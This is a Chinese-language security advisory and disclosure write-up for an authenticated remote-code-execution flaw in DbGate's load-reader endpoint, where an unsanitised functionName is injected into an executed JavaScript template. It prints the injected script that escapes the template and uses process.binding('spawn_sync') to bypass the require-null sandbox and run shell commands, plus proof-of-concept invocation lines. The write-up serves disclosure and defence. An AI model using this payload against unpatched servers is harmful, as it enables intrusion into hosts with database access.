
通过 loadReader 端点中的 functionName 注入在 DbGate 中实现远程代码执行 — CVSS 8.8
functionName 注入在 DbGate 中实现远程代码执行严重性:高(CVSS 8.8)
CWE:CWE-94 — 对代码生成的控制不当('代码注入')
受影响版本:dbgate-api ≤ 7.1.8(已在 7.1.9 中修复)
安全公告:GHSA-hv83-ggc4-v385
NVD:https://nvd.nist.gov/vuln/detail/CVE-2026-48017
致谢:Romain Deperne
POST /runners/load-reader 端点接收 functionName 参数,并将其直接插入到 JavaScript 模板字符串中,随后该字符串在分叉进程中执行——未经过任何净化或校验。任何已认证用户(无需特殊权限)都可以突破预期的调用并运行任意 JavaScript,从而在服务器上实现远程代码执行。
分叉的 runner 将 require = null 作为沙箱,但这很容易被绕过:process.binding("spawn_sync") 仍然可访问,并能生成真实的操作系统进程。
我在审计 DbGate 的 runner 子系统,以找出受保护与不受保护代码执行路径之间的差距。runners.js:292 处的 start() runner 有适当的权限门控——它会调用 testStandardPermission('run-shell-script') 并检查 platformInfo.allowShellScripting。
loadReader() 在概念上执行类似的操作(构建并运行 JS 加载器脚本),但完全没有这些检查。我追踪了数据流:
runners.js:353 loadReader({ functionName, props })
runners.js:366 loaderScriptTemplate(prefix, functionName, ...)
runners.js:64 `... ${compileShellApiFunctionName(functionName)}(${JSON.stringify(props)});`
packageTools.ts:33 return `dbgateApi.${functionName}` // ← no sanitization
functionName 由攻击者控制,并落入被执行的模板字符串中。dbgateApi. 前缀是它前面唯一的内容,而且它是可逃逸的:用 toString(); 闭合表达式、注入载荷,并用 // 注释掉末尾的 (${props}),即可生成有效的 JavaScript。
文件:packages/api/src/controllers/runners.js(loadReader → loaderScriptTemplate)
文件:packages/tools/src/packageTools.ts:33(compileShellApiFunctionName)
// packageTools.ts:33 — functionName flows in unsanitized
return `dbgateApi.${functionName}`;
// runners.js:64 — interpolated into the executed loader template
`const reader = await ${compileShellApiFunctionName(functionName)}(${JSON.stringify(props)});`
生成的(注入的)脚本:
const reader = await dbgateApi.toString();
process.binding("spawn_sync").spawn({ file:"/bin/sh", args:["/bin/sh","-c","id"], ... });
dbgateApi.toString//({});
compileShellApiFunctionName() 的编写目的是将短名称转换为完全限定的 API 路径(dbgateApi.<name>),隐式信任 functionName 是一个标识符。然而,该值直接来自 HTTP 请求体。由于它被拼接进稍后会被 eval 或分叉执行的源代码中,这一信任假设便构成了 RCE。require = null 沙箱无济于事——Node 内部的 process.binding("spawn_sync") 可以绕过它。
修复方案(7.1.9):在将 functionName 编译进加载器脚本之前,使用严格的标识符白名单对其进行校验。
poc/rce_loadreader_functionname_injection.py — 端到端驱动真实端点。
# with an existing JWT
python3 poc/rce_loadreader_functionname_injection.py http://localhost:3000 <JWT> 'id > /tmp/pwned'
# or log in first
python3 poc/rce_loadreader_functionname_injection.py http://localhost:3000 --login admin password 'id'
该脚本构建 functionName 载荷,将其发送到 POST /runners/load-reader,注入的 spawn_sync 调用会在分叉的 runner 进程中执行该命令。
在 DbGate API 主机上实现已认证 RCE。DbGate 是一款数据库管理 GUI,常被部署在可广泛访问内部数据库的网络位置上——在其上执行代码是深入数据层的强力跳板。
已按负责任披露流程处理。PoC 在修复版本发布后公开,供防御者和检测工程参考。